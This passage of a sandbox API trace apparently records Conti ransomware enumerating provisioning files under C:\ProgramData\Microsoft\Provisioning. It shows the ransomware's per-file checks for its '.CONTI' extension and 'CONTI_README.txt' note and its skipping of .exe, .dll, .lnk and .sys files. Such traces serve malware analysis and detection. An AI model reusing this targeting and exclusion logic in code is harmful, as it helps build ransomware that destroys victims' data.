	[0109.574] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.574] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.574] lstrlenW (lpString="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml") returned 77
	[0109.574] GetProcessHeap () returned 0x1720000
	[0109.574] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x180c138
	[0109.574] lstrcpyW (in: lpString1=0x180c138, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.574] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.574] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml"
	[0109.574] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", cAlternateFileName="507__C~1.PRO")) returned 1
	[0109.574] lstrcmpiW (lpString1="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.574] lstrcmpiW (lpString1="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.574] StrStrIW (lpFirst="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.574] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.574] lstrlenW (lpString="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml") returned 77
	[0109.574] GetProcessHeap () returned 0x1720000
	[0109.574] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x180b520
	[0109.574] lstrcpyW (in: lpString1=0x180b520, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.574] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.574] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\507__Connections_Cellular_Verizon (United States) Ims_i2$(__MVID)@WAP.provxml"
	[0109.574] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", cAlternateFileName="508__C~1.PRO")) returned 1
	[0109.574] lstrcmpiW (lpString1="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.574] lstrcmpiW (lpString1="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.574] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.574] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.574] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.574] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.575] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.575] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.575] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.575] StrStrIW (lpFirst="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.575] lstrlenW (lpString="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml") returned 82
	[0109.575] GetProcessHeap () returned 0x1720000
	[0109.575] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x6575aa8
	[0109.575] lstrcpyW (in: lpString1=0x6575aa8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml"
	[0109.575] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="509__C~1.PRO")) returned 1
	[0109.575] lstrcmpiW (lpString1="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.575] lstrcmpiW (lpString1="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.575] StrStrIW (lpFirst="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.575] lstrlenW (lpString="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.575] GetProcessHeap () returned 0x1720000
	[0109.575] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x1819230
	[0109.575] lstrcpyW (in: lpString1=0x1819230, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.576] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.576] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="50__CO~1.PRO")) returned 1
	[0109.576] lstrcmpiW (lpString1="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.576] lstrcmpiW (lpString1="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.576] StrStrIW (lpFirst="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.576] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.576] lstrlenW (lpString="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned 91
	[0109.576] GetProcessHeap () returned 0x1720000
	[0109.576] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x16c) returned 0x6575c10
	[0109.576] lstrcpyW (in: lpString1=0x6575c10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.576] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.576] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0109.576] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", cAlternateFileName="510__C~1.PRO")) returned 1
	[0109.576] lstrcmpiW (lpString1="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpString2=".") returned 1
	[0109.576] lstrcmpiW (lpString1="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpString2="..") returned 1
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".CONTI") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".exe") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".dll") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".lnk") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".sys") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch=".CONTI") returned 0x0
	[0109.576] StrStrIW (lpFirst="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.576] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.577] lstrlenW (lpString="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml") returned 64
	[0109.577] GetProcessHeap () returned 0x1720000
	[0109.577] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x180aa90
	[0109.577] lstrcpyW (in: lpString1=0x180aa90, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.577] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.577] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml"
	[0109.577] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", cAlternateFileName="511__C~1.PRO")) returned 1
	[0109.577] lstrcmpiW (lpString1="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpString2=".") returned 1
	[0109.577] lstrcmpiW (lpString1="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpString2="..") returned 1
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".CONTI") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".exe") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".dll") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".lnk") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".sys") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch=".CONTI") returned 0x0
	[0109.577] StrStrIW (lpFirst="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.577] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.577] lstrlenW (lpString="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml") returned 60
	[0109.577] GetProcessHeap () returned 0x1720000
	[0109.577] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17e0aa8
	[0109.577] lstrcpyW (in: lpString1=0x17e0aa8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.577] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.577] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml"
	[0109.577] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="512__C~1.PRO")) returned 1
	[0109.579] lstrcmpiW (lpString1="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.579] lstrcmpiW (lpString1="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
